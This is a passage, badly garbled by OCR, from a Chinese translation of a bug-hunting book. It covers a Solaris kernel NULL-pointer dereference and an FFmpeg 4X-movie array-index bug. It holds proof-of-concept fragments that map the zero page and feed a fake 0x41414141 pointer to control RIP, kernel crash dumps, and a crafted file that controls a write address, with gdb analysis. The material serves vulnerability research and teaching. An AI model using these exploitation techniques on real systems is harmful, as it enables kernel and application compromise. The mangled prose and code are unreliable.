117 /AR ET R i i i i i iiii il i i el
118 // Status messages



119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137 }
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status ();
sleep (2);

LIOLTLLLLELILTTLEL I TIEET i iiiiiiriirieiiists

// TOCTL request data (interface name with invalid alias ':01'")
data[o] = ox3a; // colon

data[1] = ox30; // ASCII zero

data[2] = ox31; // the digit '1'

data[3] = 0x00; // NULL termination

LEETETEETT AT LT AT it iiiiritiiiiiritiiiry
/7 I0CTL request
syscall (SYS_ ioctl, fd, SIOCGTUNPARAM, data);

printf (“[-] ERROR: triggering the NULL ptr deref failed\n");
close (fd);

return 0;

REEHE R 3-2 88 1947, FTNAAELT mmap() eREBLST, {HREX POC R
BEABHNHSEZHAAGANEIEMRR (RE R2TEF 6317 ). F3-6 B/RT X
AN R R SE R 43

> oxpo | OMODOOOOOO41414141  |%— qi->qiputp (start of gi struct)

OXO8 |  OXOODOOOOOOOOO0OLO | €= ipif-»ipif_ill
1
ox1o [ OROOOCOODODO000000 f—- ill=»ill_ptr (start of il struct) ¢ : )

Ox1g OROOOOOOOO0000o000 | €— ill-»ill_rg

(%)

ox20 CHOCOOOOO000000028 | €— ill->ill_wg
(2)

— OxZ8 DR OOOOOOOOOOO00000 &£— gp-rq ginfo (start of gp struct)

ox30 CROCODODODOCO00000 | g— qp->hirst
(3)

OxSE OROOOCOOOODOOO0000 < gp->rlast

oxdo| ONOOOOOOOOOOOOOO28 | €— qp-rnext

oxao , o Tdo Ié—— qp - riyneg

H3-6 FRAFHEIRA R
B 3-6 A @R R TR, T R T AR SRR

B, AMB/RTHEMFRNENTIH. £ 3-157A 17HE 3-6 PHREIER R
#3-1 FHAFNESEHELE
BT RS e 8E T
ip_sioctl_tunparam() ill = ipif-> ipifAY{HZENULL, HE Ripif ill#FipifNAYRTEE0xS,
9432 ipif il1; Hkipif->ipif i115|F T #hhtox8, hhtox8abAI{E 5>

Ao#hill, BrLAL11E5Hgtk Mitbhtox10FF &y (UL HA3-67H#Y
(1))
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(%)
o MU 88T RS | AR ME W R
ip sioctl tunparam() putnext(ill-»> il11->i11 wqi9{E FB feputnext Oy — 1~ 2%,
9“5 ill_uq, .pi); ill_h‘qullgﬁﬁ*lﬁﬁﬁﬁﬂxlﬂ, illiﬁﬁw
M b o104k FF ik, BrElill->ill wqiE #hk
ox204b#E5 [
putnext() putnext (queue t qpfyibhE % Fill->il]l wolgmfa{E., Hik, qp
147 *gp, mblk t *mp) MHHEOx285b T 48 (0 E3-671(2))
putnext() qp = qp->q_next; q_nextZEqpEttutk At Roxas, ik, T
176 A~qpi A bhkoxaosL I {ERL(E : qp(ox28)HIFT#E

Hbht+q_next(ox18){m#8, HbhtoxaokbA{E X &
0x28, FFLA T —/ qpésafk 28—/ &5 ka4l
[EIRIHbhERE IR RS (WE3-67PRI(3))

putnext () sq = gp->q_syncq; syncqEqpiE gtk N R B Rox78, H b

177 q_syncqZ J5¥ESI ., BABER — AR
fribab. FWikFoxzdo, — RN THIFT AN
Y HbhE

putnext() qi = qp->q_qinfo; qp->q_qinfofI{HM%iqi. q _qinfofEqpLyfk B

180 AIRESROx0, B hqpLiiafk Mithhtox28FF &5,
BrLlX A~ {HoxoME{E % Tqi (WL.A3-6h/I(4))

putnext() putproc = gi-> qi->qi_putpRI{H M, er ¥ F5Eputproc, qi_putp

273 qi_putp; Eqigafkrhp{RiEAoxo, FHk, qi->qi_putp

FE b Bl oxo &b B S| ., i Hh bk 4R MY A
(0x0000000041414141 ) BRE 553X 1 A B d5 5+

PR 5 %X Bt POC fURS, I AAERF AU P M TE— 32 PRI 3E2 /R Solaris
XA e,

solaris$ isainfo -b
64

solaris$ id
uid=100(wwwuser) gid=1(other)

solaris$ zonename
wwwzone

solaris$ ppriv -S $%

1422: -bash

flags = <none>
E: basic
I: basic
P: basic

L: zone
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solaris$ /usr/sfw/bin/gcc -m64 -0 poc2 poc2.c

solaris$ ./poc2

[+] Opening '/dev/arp' device .. 0K
[+] Trying to map zero page .. OK
[+] PAGESIZE: 4096

[+] Zero page data:

... OX00: 0x0000000041414141

... 0x08: 0x0000000000000010

... 0x10: 0x0000000000000000

... 0x18: 0x0000000000000000

... 0x20: 0x0000000000000028

... 0x28: 0x0000000000000000

..« 0X30: Ox0000000000000000

... 0x38: 0x0000000000000000

... Ox40: 0x0000000000000028

... Oxa0: 0x00000000000007d0

[+] The bug will be triggered in 2 seconds..

RGN ZMBHER. ERZE, BEETHRERBESH (UTREGS/
YRR B.1 Y ).

solaris# id
uid=0(root) gid=0(root)

solaris# hostname
bob

solaris# cd /var/cxrash/bob/

solaris# ls
bounds unix.o vmcore.0 unix.1 vmcore.1

solaris# mdb unix.1 vmcore.1

Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip
hook neti sctp arp usba fcp fctl nca lofs mpt zfs audiosup md cpc random crypto fcip
logindmux ptm sppp nfs ]

> ::msgbuf

[..]

panic[cpuo]/thread=ffffffff8816c120:

BAD TRAP: type=e (#pf Page fault) rp=fffffe800029f530 addr=41414141 occurred in
module "<unknown>" due to an illegal access to a user address

poc2:

#ipf Page fault

Bad kernel fault at addr=0x41414141 ‘

pid=1404, pc=0x41414141, sp=0xfffffe8000291628, eflags=0x10246

cro: 80050033<pg,wp,ne,et,mp,pe> cr4: 6bo<xmme, fxsr,pge,pae,pse>

Cr2: 41414141 cr3: 1782a000 cr8: c
rdi: 28 1si: ffffffff81700380 rdx: ffffffff8816c120
YCcx: 0 18: 0 19: 0
Yax: 0 rbx: 0 rbp: fFHffe8000291680



46 | E3ITE RPXERH

110:
ri3:

€5:
trp:
cs:
sS.

fffffeBo0029f440
fffffe800029f520
fffffe800029f530
Tf+ffe800029680
fffffe800029f6d0
fffffe8000291780
fffffe800029f820
ffe8000291910
f{fe800029f920
8000291940
fffffe800029f9a0
ffffeB800029f9do
ffff{e800029fa30
fffffe800029fabo
fffffe800029fddo
fffffe800029fdfo
fffffe800029fe20
fffffe800029ff00
fffe800029ff10

1 riil:

0 ri12: 7d0

28 ri4: 81700380 ris: 0
fsb: fffffd7fff220200 gsb: fffffffffbc

0 fs:
e err:
28 rfl:
30

unix:die+da ()
unix:trap+se6 ()
unix:_cmntrap+140 ()
41414141 ()

ip:ip sioctl tunparam+ee ()
ip:ip_process_ioctl+280 ()
ip:ip_wput_nondata+970 ()
ip:ip output_options+537 ()
ip:ip_output+10 ()

ip:ip wput+37 ()
unix:putnext+1fi ()
arp:ar_wput+9d ()
unix:putnext+ifi ()
genunix:strdoioctl+67b ()
genunix:strioctl+620 ()
specfs:spec_ioctl+67 ()
genunix:fop_ioct1+25 ()
genunix:ioctl+ac ()
unix:brand sys syscall+21d ()

syncing file systems...

done

270 ds: 0
ibb gs: 0
10 rip: 41414141
10246 rsp: fffffe800029f628

dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel

» $c
0x41414141()

ip_sioctl_tunparam+oxee()
ip process ioctl+0x280()
ip wput_nondata+0x970()

ip_output_options+0x537()

ip_output+0x10()
ip wput+0x37()
putnext+ox1fi()
ar wput+0ox9d()

putnext+0ox1fi()
strdoioct1+0x67b()
strioctl+0x620()
spec_ioctl+0x67()
fop ioctl+ox25()
ioctl+oxac()

sys syscall+ox17b()
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XX RGH AN E P THE 0x41414141 (RIP FFAFZRAY(E, 0 EiR(RHS
R A R R ) SRS, XERERCLZLESHT
EIP/RIP,

AT EAEIRIRAA 4% (exploit payload ®), BT LLF| X bug M —
NZMRA . A2 R Solaris X, RETEL2RXEFIRGERAHFHER,

A TROERA R AEERS, RARBSHKR—ITTEHN. 7 TEANRIREF]
FARRRF . QNSARA 4R, AT LABIA 69 R 25 10 Fdl 89— PR R B9 A5, U7

3.3 ®mAEIE

208 'F 6 2B, Bigm

ERAXA bug BH Sun ZJ5, MAIFE T AT TRAIEX MR, "

[-.]

19165  if (*cp == IPIF_SEPARATOR CHAR) {

19166 /*

19167 * Reject any non-decimal aliases for logical
19168 * interfaces. Aliases with leading zeroes

19169 * are also rejected as they introduce ambiguity
19170 * in the naming of the interfaces.

19171 * In order to confirm with existing semantics,
19172 * and to not break any programs/script relying
19173 * on that behaviour, if<0>:0 is considered to be
19174 * a valid interface.

19175 *

19176 * If alias has two or more digits and the first
19177 * is zero, fail.

19178 */

19179 if (&cp[2] < endp && cp[1] == '0") {

19180 if (error != NULL)

19181 *error = EINVAL;

19182 return (NULL);

19183

[..]

S THEE XA bug, Sun 7ERRE ipif lookup on_name()EJ5E 19180 F7HISE 19181
IEIATFERRES . XTI IE T BB AL, BRIMTEBER
TAERHARNRR, (B2 EIHREMRA P, K%L ipif_lookup_on_name()
DA R HAL AR, TR MR m AR RS AR, B anReE

O FHEHANELEE, RiE payload & LATHEATHHBEABE -, —IREE
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A APL ARAER /DB, A AT RERRR A A RLIAY bug, Sun N iZEE API 3K
PBX L bug, {EAITEA XFEE.

3.4 ZWHEIN

Eh—ZRBFR

0O FE IERBERIRE;

O 55 W HER KIER [ ;

O HEB NS R R R R4 R 5 AEE, Hep 2™
HHRRE, TUSBUEERBRT.

YEA—BRGEHR .

O AEFHHMEGEXE. RANZE. 4R ENRER U RELML, mEA
ZA bug, WE—IME2FEHEERSRA v GBS SlEP, M BT
Solaris XX

3.5 #h7E

2008 'F 12 B8, EHg=

A MRIA 8 BEE, XM Solaris 3N THET, 2XREQC KM |
BT MM ELRE"Y, XA bug %S & CVE-2008-568, Sun i T 471 XA
B TERERGEHBGERA (WE 3-7), KT

Sungd 14 3 &

Sun €8 Wobus G & .
\ / SndTHT e psolwish i 6 6 ROFLLM|Y

L+

09.04.2007 ©09.05.2007 06.12.2008 12.17.2008

A 3-7 MWERLXA bug Bl R B RARE R AR

B E

[1] OpenSolaris FJIRANAS A MEATF Wt F# . http:/dlc.sun.com/osol/on/downloads/ ( %5 1k 4
http:ffbit.lthNjH )n

[2] W http://en.wikipedia.org/wiki/loctl ( 4G4t~ http://bit.ly/ACraTY ),



3]

[4)

[5]

[6]

[7]

8]

[9]

3.5 #7%E 49

¥ £ IP-in-IP BREHIH A5 8., 2% http://download.oracle.com/docs/cd/E19455-01/806-0636/
6j9vq2bum/index.html ( &4l >4 http://bit.ly/wOoRvC ).

W sun 27 #) { STREAMS 4sf&15F5 ) ( STREAMS Programming Guide ), P] MLAF ik T £k
http/download.oracle.com/docs/cd/E19504-01/802-5893/802-5893 pdf ( &4t hitp:/bitly/ ZOXAVD ).
fE FHPRAAFEN Y T A OpenGrok %] OpenSolaris #1433 : http:/cvs.opensolaris.org/source/
xref/onnv/onnv-gate/usr/src/uts/common/sys/stream.h?r=4823%3A7c9aaeal 6585( A i1t 4 http://
bit.ly/zJGPTD ).

IR Y TR OpenGrok # [ OpenSolaris ##{L#%: http://cvs.opensolaris.org/source/
xref/onnv/onnv-gate/usr/src/uts/common/sys/stream.h?r=4823%3A7c9aaeal 6585( &1t 4 http://
bit.ly/zZJGP7D ),

i IR % T OpenGrok %] OpenSolaris #4HS: http://cvs.opensolaris.org/source/
xref/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip if.c?r=5240%3Ae7599510dd03 ( 4 #t KX
http:/bit.ly/wTxGWn ),

B ( Solaris Modular Debugger 853 ) "M LI F M8 %) http://docs.oracle.com/cd/
E19253-01/816-5041/ ( A4k http://bit.ly/LmlZLI ),

BEEXHMHEE, 2% twiz il sgrakkyu Fi53C “Attacking the Core: Kemel Exploiting Notes”, AJ M LA
FRIEES3]: http://www.phrack.com/issues html?issue=64&id=6 ( &t A http://bit.ly/ y58rNC ),

[10] £ F Solaris of 2 kg $l #h 1l =5 8] ) 8 £ {5 B . http://cvs.opensolaris.org/source/xref/onnv/

onnv-gate/usr/src/uts/i86pc/os/startup.c?r=10942:eaa343de0d06 ( &ht>4 http://bit.ly/xrvIbm ),

[11] ff AT Y TH OpenGrok # % OpenSolaris {#{t#%: http://cvs.opensolaris.org/source/

xref/onnv/onnv-gate/usr/src/uts/common/os/putnext.c?r=0%3A6895e015346 ( F 4k~ http:/bit.ly/
xZjyNm ).

[12] W http://www.trapkit.de/books/bhd/ ( &GaE2H http:/bit.ly/yZX6td ),
[13] Sun $24EA9%M T 7T AL T RIE433)] . http://cvs.opensolaris.org/source/diff/onnv/onnv-gate/usr/

src/uts/common/inet/ip/ip_if.c?r1=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@52408&12
=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@5335& format=s&full=0 ( & i1k & http://bit.
ly/xg8TeR ).

[14] FIFGIARIX T Solaris NE WA L 2 & TMLLT AL 2] : http://www.trapkit.

de/advisoriessTKADV2008-015.txt ( %24k # http:/bit.ly/ymNVc8 ),
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2009 1 B 28, BHg~

SRR T —TAER "X 1 bug: — T EZ1EH RS HrREIF
Wi (8 A2797 ). BHAFH TXARAKER, FHHAXA bug M T —1THPAZ
BE, XEEEREERAEL T, ExE—TRHAPZ RN AT RS, HX
A~ bug FAl— A P S EIFZ 18 EHHT I FARRE], ERTRESH AR AT RN,

XN B0 FRmpeg A2 AR AR Z AT FHHMTHROAP
H AT H XN FE, 255 Google Chrome, TE T M BamT,
VLC 3% #8 . MPlayer fll Xine %, tfifs W Mark Dowd & MacGyver

, , loit for Flash ¢ hitp://blogs.
. YouTube [ FFmpeg 10 G & F#3x4T [1] exploit for Flash ¢ hitp://blogs
iss.net/archive/Hlash.html, 504}

B http://bitly/k3ImemM >, 8X

X IN=NF
41 &ij“'ﬁ;ﬁ % Justin Schuh &5 Firefox bug
ﬁﬁﬂﬂﬁ&iﬁiﬁ E‘]%ﬁﬁﬂ—l:g ( L't'tp://blogs.{ss.net/archiue/
Q%—4: F1ih FFmpeg MM TIEE, cve2008=00nhtml . &3 4k 1

kttp://bit.ly/J6Vsn] > .

QS8 Ul AR
QB =4 BRERARIE.
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411 F—4%: F|H FFmpeg BYEE =8

M FFmpeg i SVN GBS BRFTRA BB Z G, A ER S K libavformat
FEha] HpofE Hasd#E (WA 4-1 ), RITFEP FPmpeg 8 ER 28 E HE8 L
H 5% libavformat/ F — 11 ARH C X4,

MR UB U ~/BADifmpeg/libaviormat.

File Edit Wiew Terminal Help

tk@ubuntu: ~/BHD/ffmpeg/libavformats s

4xm. flic.c mpjpeq.c rtp.c
adtsenc.c flvdec.c msnwc tcp.c rtpdec.c
aiff.c flvenc.c mtv.c rtpenc.c
allformats.c flv.h mvl.cC rtpenc h264.c
amr.c framecrcenc.c mxf.c rtp.h

apc.c framehook . c mxfdec.c rtp h264.c
ape. framehook.h mxfenc.c ritp h264.h
asf.c gif.c mxf.h rtp internal.h
asforypt.c gxf.c network.h rtp mpv.c
asfecrypt.h gxfenc.c nsvdec.c rtp mpv.h
asf-enc.c gxf.h nut.c rtpproto.c
ast.h http.c nutdec.c rtsp.c
assdec.c idecin.c nutenc.c rtspcodes.h
aSSENC.C idroqg.c nut.h rtsp.h

au.c iff.c nuv.c sdp.c

& 4-1 FFmpeg libavformat J #(¥#% & Fi2%

¥8 FFmpeg #9772 22435 Git €AY, A SUNOAREEH, AlxA
o P R B AL (SVN-r16556 ) TAMA H 6 M3k T, P

41.2 E=-4%. R5MmAEE

TR RBIR R AR B AREE . RANMEE, RAETKH
Srfit E RSB B T — /48 demuxername_read header () FIREN, X~ ekEUE#
#4A —1~ AVFormatContext KEIKIZSH . RPFEHIFIHIL T — M EE, AT
T A -

[..]
ByteIOContext *pb = s->pb;

[..]

REZ AR get_something pR¥Y (HilfN, get le32(), get buffer()) fMEH
B (Hilfn, AV_RL32, AV_RL16) FHTFHEEL pb 38 ME 83, XiF, RIEFEH
7E pb BERFE M Fr AL B S A BRI A8 5
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413 F=F: REWMANE

RUGEERRBE AR MEEL S ABIER TR bug, MFIERF

B — MRE ISR dxm.c FFih. MITIERZE 4X st 0 R MR i gRad, R
ZB T TS EX A

BRI  libavformat/4xm.c
¥ fourxm read header()

[..]

93 static int fourxm_read header(AVFormatContext *s,

94
95
96

101
103
106
107
120
121
122
123
124
125
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179

180
181

[.

]

AVFormatParameters *ap)

{
ByteIOContext *pb = s->pb;

unsigned char *header;
int current_track = -1;

fourxm->track_count = 0;
fourxm->tracks = NULL;

/* allocate space for the header and load the whole thing */
header = av_malloc(header size);
if (!header)
return AVERROR(ENOMEM);
if (get_buffer(pb, header, header size) != header size)
return AVERROR(EIO);

} else if (fourcc_tag == strk_TAG) {
/* check that there is enough data */
if (size != strk SIZE) {
av_free(header);
return AVERROR INVALIDDATA;
}
current_track = AV RL32(&header[i + 8]);
if (current_track + 1 > fourxm->track_count) {
fourxm->track count = current_track + 1;
if((unsigned)fourxm->track_count >= UINT MAX / sizeof(AudioTrack))
return -1;
fourxm->tracks = av_realloc(fourxm->tracks,
fourxm->track_count * sizeof(AudioTrack));
if (!fourxm->tracks) {
av_free(header);
return AVERROR(ENOMEM);

}

}
fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

fourxm->tracks[current_track].channels = AV RL32(&header[i + 36]);
fourxm->tracks[current_track].sample_rate = AV_RL32(&headexr[i + 40]);
fourxm->tracks[current track].bits = AV RL32(&header[i + 44]);
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5 12447, K%L get_buffer() MATALIRAY IR SO 5 Hl% A B 2] header #8§
SR X (S5 101 77056 12177 )o INEHRESHFEEPHER strk 3t (I
3 16017), B 166 17AY AV_RL32() 2 MBHE 3k R — AT S B AUEH-REFF)
A SBETER current_track 1 (JLE 10317 ) XK BEAESE. HAFE
TR 5 B ABFH LN A SERABNSFR R bug! KT
B, SeeptsUs, ERIRAEERIN, PEMNEEX.

#0167 ITH) if EAMKAETHPERE current_track + 1 2/ KT
fourxm->track_count, HFF S AR fourxm->track_count ¥R 0 (B
106 17 )o W84S current_track — KT T 0x80000000 HHH L E RIS 21k,
{48 current track BB — TN (N A3 FHafLIRIER ), wWE
current_track RN AL, 5B 167178 if IBAE S BB FALSE ( H A E /S
AN R fourxm->track_count MIER 0), 5 171 ITHE X 2 ECEL KA SR
7. B, 1IN KRS BB AP ERER R AT SBEARN T EE

KA fourxm->tracks FIER4L A NULL ( E 10717 ), 5 1717 AT, 3B
178 FTESH 181 T BERERE T 41T 5 I H. RATEHETHPES
{H current_track f&5|H, A/ #EHBEER e E BV BR KN —BRATFHHIE

CIEA-

FE L AREAEAEL LR EEA B3 AT, BASFEAARAE
IR —ANEi84, mABIA—ANARABLEHOEMEK, ZL2HKIELTNA
NULL 41 # 4 A P REFMAGALE &, XBUR TR TE LT 184t
W3] A i — R 5,

/ 4-2 B/RT FFmpeg WIIHEBRTTR, W AR,

(1) fourxm->tracks #4447 NULL ( ILEE 107 47 )s

(2) I RACEE A RAR ST — A strk BR, MBRAYFH P8 ) B BB
current_track FME ( W5 166 1T ).

(3) 4SR current_track + 1 HMEKT 0, SHEC—PHERWIX,

(4) 53BL fourxm->tracks (@ AHER MPIX ( WS 171 F77FI5E 17247 ).

(5) RSB EFIPIRE X, LA current_track fERZE R BUEHKT
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b (5 17847258 18147 )o
(6) KA XMIFELRET, MBEHELRE,

4X @3 u
(1) == (2) (4
+1 >0 B -
e > cumntrack [=5 e veoet)
5 i e

o

\Fﬂu rxm->tracks[current_track].adpem =

AV_RL32(&header[i + 12])

l (é)
-

\ i 18] 3§

/& 4-2 FFmpeg IE & 2178 FHBIT R
Kl 4-3 B/~ 33X — bug X FFmpeg & W 24 T4, WF iR,

4X g
+1 <0
(1) (2)
strk
fourxm->tracks = NULL —>»| current_track fourxm->tracks =
av_realloc(..) (3)

(5)

fourxm->tracks[current_track].adpcm =
AV RL32( &header|[i + 12])

— Jo

\ 13 ¥ 4R 4% 17

(4)

/ 4-3 FFmpeg SBAFRERIFNIEHET A

(1) fourxm->tracks # 4k A NULL ( I3 10717 ).

(2) WA B AR SO A — 4 strk B, BRSO AT P48 i B B B
current_track AY{E ( JLEE 166 17 )o

(3) WE current track + 1 WE/NTF 0, AOECHESEWIX,
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(4) fourxm->tracks {/548 M) NULL PNAFHAL .

G) BRI LT H B4 current track fE#5 AR, 44 32 A1 &%
ERE TR AR E (28 1784725 18117 )

(6) 4 MHPERIMAFALES5IE 4 TR P EHOBEIEFZES.

Z4 “5EE” #—7 bug!

4.2 REFIA

AT FAXAME, ST T LT, XA RBAUMIME
Q%—: R—PEWHER strk B aXFE Frmpes THOBERRTES.

(- g Lo X-FHRERBDHFEE 3245
Q% . THXA strk MK R Ubunte Linux 9.0¢¢ T3l 5 R O,

Q= BEEX strk HLIE FFmpeg A3 B
0 0. BEUOX strk SRR EIP,
A JLAF RIS SO bug B9J7 . W RLEET— &V IE#R 9 SCHF, 2R

HEH— N ELFEN . Wk —M k. M http://samples.mplayerhq.
hw FR —ME AW —RFEAE 4X BE X, T HSH— X4, BET
2 — BRI DU R 7 8 .

421 F—%: H—NMHEEEY strk Y AX G B E 0
FLLF 454 M http://samples.mplayerhq.hw/#8 Bl —MEEFI S

linux$ wget -q http://samples.mplayerhq.hu/game-formats/4xm/ -
TimeGatep01s01n01a02_2.4xm

Y THEZE, R EEHBLHN original 4xm.

422 L. THRIXA strk REYHE
& 88 AX B SRR, —1 strk BB LA T 45M .

bytes 0-3 fourcc: 'strk’

bytes 4-7  length of strk structure (40 or 0x28 bytes)
bytes 8-11 track number

bytes 12-15 audio type: 0 = PCM, 1 = 4X IMA ADPCM
bytes 16-35 unknown

bytes 36-39 number of audio channels
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bytes 40-43 audio sample rate
bytes 44-47 audio sample resolution (8 or 16 bits)

T EEEERISFH) strk M SCHRFEE oxias A6 FFEE, GNE 4-4 B,

&header[i]
l (1) (2) (3)
000001a0h: 32 2E 77 61 76 00|73 74 72 6BJ28 00 00 GGIDU 00]; 2.wav.strk(.....
000001b0h: |00 00 00 00 00|00 00 04 00 D1 07 00 00 2F 00 ; svvvucunns Neoot
(4)

B 4-4 TR 4X PEBIBEE MR strk . BrhmsFEsE 4-1 PER
T 4-1FRTE 4-4 B strk Befm o,
F4-1 B4-4RRHstrkiRfs BHIAL

SIRRS IR RS (.
(1) &header[i] O 7R strk
) Bheader[i+4] strkéh IR/ (ox28%T)
(3) &header[i+8] track number (iX/&FFmpegififtid B fcurrent trackis i)
(4) &header[i+12] audio type (iXwbRB AR —LAFFHES| FHMIE)

AT FBXARR, REEEE R B header[1+8]4EHY) track number {8 (Xt
I\l FFmpeg RIS B ) current_track A5 & ) f8header[i+12]4L#) audio type B
R IERE THUH, audio type WHSEH] NULL + track number BN FENI B,

T NULL + current track HIMH,
BAFRDL, FFmpeg IATE () BEMHFSRIENT.

[..]

178 fourxm->tracks|current_track].adpcm = AV RL32(8header[i + 12]);

179 fourxm->tracks[current_track].channels = AV RL32(&header[i + 36]);
180 fourxm->tracks[current_track].sample rate = AV RL32(8header[i + 40]);
181 fourxm->tracks[current track].bits = AV RL32(&header[i + 44]);

[..]

BTN AR DS

NULL[user controlled value].offset = user controlled data;
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423 FE=%. BHIXA strk BREUE &i% FFmpey:
FFmpeg Huﬁiﬁ linux$ .!’CU"figUIE; make
FEFLIFLETHLARE
%1% T FFmpeg A IRIA 16556 AR &b Frmpeg = 2t by W5 = -
RBZE, ReRELXD X BREGHR Q Fimpes. * Haflk W

3% AVI 30, LR %R . FFmpeg AI LASE ¢ = a5 HI¥
4 TAE 0 Fimpeg_g, % H 3l 55
Bh-fhan

linux$ ./ffmpeg_g -i original.4xm original.avi
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12. 0 / 49.12. 0
libavcodec 52.10. 0 / 52.10. 0
libavformat 52.23. 1 / 52.23. 1
libavdevice 52. 1. 0/ 52. 1. 0
built on Jan 24 2009 02:30:50, gcc: 4.3.3
Input #0, 4xm, from 'original.4xm’:
Duration: 00:00:13.20, start: 0.000000, bitrate: 704 kb/s
Stream #0.0: Video: 4xm, rgb565, 640x480, 15.00 tb(r)
Stream #0.1: Audio: pcm_si6le, 22050 Hz, stereo, si6, 705 kb/s
Output #0, avi, to 'original.avi’:
Stream #0.0: Video: mpegd, yuv420p, 640x480, q=2-31, 200 kb/s, 15.00 th(c)
Stream #0.1: Audio: mp2, 22050 Hz, stereo, s16, 64 kb/s
Stream mapping:
Stream #0.0 -> #0.0
Stream #0.1 -> #0.1
Press [q] to stop encoding
frame= 47 fps= 0 g=2.3 Lsize= 194kB time=3.08 bitrate= 515.3kbits/s
video:158kB audio:24kB global headers:0kB muxing overhead 6.715897%

BF, BB TREGISCHEM strk tp track number #1 audio type A9

BUE
i 4-5 fiR, RIE track number I{EBH oxaaaaaaaa (1), audio type H)

{&Ek 3% oxbbbbbbbb (2), i iEfr44 K pocl.axm, RfF2iXA FFmpeg XHHE
(U THERAL KR B4 ),

&header]i]

l (1)
000001a0h: 32 2E 77 61 76 00 73 74 72 6B 28 00 00 OO{AA AA|; 2.wav.strk(... 2%
000001b0h: [AA AAJBB BB BB BB|00 00 04 00 D1 07 00 00 2F 00 ; 2Zwwwn....N.../.

(2)

E4-5 BHUS RREBICH strk . FIEOEEIE /R BRI IE,
PR BB ED E SR EHIEF
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linux$ gdb ./ffmpeg_g

GNU gdb 6.8-debian

Copyright (C) 2008 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and "show warranty" for details,

This GDB was configured as "i486-linux-gnu”...

(gdb) set disassembly-flavor intel

(gdb) run -i poci.4xm
Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poci.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12. 0 / 49.12, 0
libavcodec 52.10. 0 / 52.10. 0
libavformat 52.23. 1/ 52.23. 1
libavdevice 52. 1. 0/ 52. 1. 0
built on Jan 24 2009 02:30:50, gcc: 4.3.3

Program received signal SIGSEGV, Segmentation fault.
0x0809c89d in fourxm_read _header (s=0x8913330, ap-=0xbf8b6c24) at

libavformat/4xm.c:178
178 fourxm-»>tracks|[current_track].adpcm = AV_RL32(&header[i + 12]);

AHPTRL, FFmpeg RESHIRTERIESE 178 1748t . RAEFLBZPH—%5
Pr FFmpeg #4718, BRERTERMTAFET ik,

(gdb) info registers

eax 0oxbbbbbbbb -1145324613

ecx 0x891c400 143770624

edx 0x0 .0

ebx Oxaaaaaaaa -1431655766
esp oxbf8b6aad  0Oxbf8bbaao

ebp 0x55555548  0x55555548

esi 0x891¢3c0 143770560

edi 0x891c340 143770432

eip 0x809c89d 0x809c89d <fourxm_read_header+509>
eflags 0x10207 [ CF PF IF RF ]
cs 0x73 115

SS ox7b 123

ds 0x7b 123

es 0x7b 123

fs 0Ox0 0

gs 0x33 51

AR R AERT, FFFEA% EAX F EBX A T 3R H1 A MK audio type {8 ( oxbbbbbbbb )
A track number {H (Oxaazaaaaaa ). #ETFH, HiLiIARE BR FFmpeg TS

—%*E/%’a
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(gdb) x/1i $eip
0x809c89d <fourxm read header+509>: mov DWORD PTR [edx+ebp*1+0x10],eax

AR s, FEBSEIRATE S IE IR BRHE oxbbbbbbbb 5 AR T
track number i+E153|#)— N Hihl,

HTEHARGFEHRE, REENESEHREN Birit2E AR EXN. M
FHEXBEICHASEIREE] TESR,

(gdb) x/7i $eip - 21

0x809c888 <fourxm_read_header+488>: lea ebp, [ebx+ebx*4]
0x809c88b <fourxm read header+491>: mov eax,DWORD PTR [esp+0x34]
0x809c88f <«fourxm read header+495>: mov edx,DWORD PTR [esi+0x10]
0x809c892 <fourxm read header+498»: mov DWORD PTR [esp+0x28],ebp
0x809c896 <fourxm read header+502>: shl ebp,0x2

0x809¢899 <fourxm read header+505>: mov  eax,DWORD PTR [ecx+eax*1+0xc ]
0x809c89d <fourxm read header+509>: mov DWORD PTR [edx+ebp*1+0x10],eax
X SN B EA) C A,
[..]
178 fourxm->tracks[current_track].adpcm = AV _RL32(&header[i + 12]);
[..]
T A2 R T XSGR,
F4-2 LRESREBRESHEREE
B < % R
lea ebp, [ebx+ebx*4] ebp = ebx + ebx * 4 (EBXHHEREHFHMIBRA P E LM
current_track{f (Oxaaaaaaaa))
mov eax,DWORD PTR [esp+0x34] eax = array index i
mov edx,DWORD PTR [esi+0x10] edx = fourxm->tracks
shl ebp,0x2 ebp = ebp << 2
mov eax,DWORD PRT eax = AV_RL32(&header[I + 12]); =
[ecx+eax*1+0xc] eax = ecx[eax + Oxc];
mov DWORD PTR fourxm->tracks{current_track].adpcm = eax; or
[edx+ebp*1+0x10],eax edx[ebp + 0x10] = eax;

Bk EBX A fFss HAE R IR B AL R current_track 1, EDX 7745 H MH
#& fourxm->tracks X PMEFEE, FHEXMTH AR

edx + ((ebx + ebx * 4) << 2) + 0x10 = destination address of the write operation

A ER AR
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edx + (ebx * 20) + 0x10 = destination address of the write operation

FAU(E oxaaaaaaaa 45 TFE current_track ( EBX & fFay ), BEIHX/MTER
AR T THXAE

NULL + (Oxaaaaaaaa * 20) + Ox10 = 0x55555558

0x55555558 3X-1~45 5 1] H A2 IA .

(gdb) x/1x $edx+$ebp+0x10
0x55555558: Cannot access memory at address 0x55555558

424 ZFEWE: BEUXA strk REAIZH] EIP

XAMRIHALLR T URAEA4FZEHEES L FEERN ARG, A 7T EH
FFmpeg BIHATI, RUMEE —AbREILIREH| EIP FHBRMHNFAE. RO
REN— TR AFEHEE, E7E FRmpeg I EREHE %S [A] B2 AT BUHIEY . Xt HE
B T R T AR HohEZS (8], /B, Linux A9 ELF ( Executable and Linkable
Format ) CHF#RIBM T —NMEFZEWHIR: £ A% #B F & (Global Offset
Table, GOT ), FFmpeg " FH BB — 1N R $UAE GOT EpE — &1 . Ml
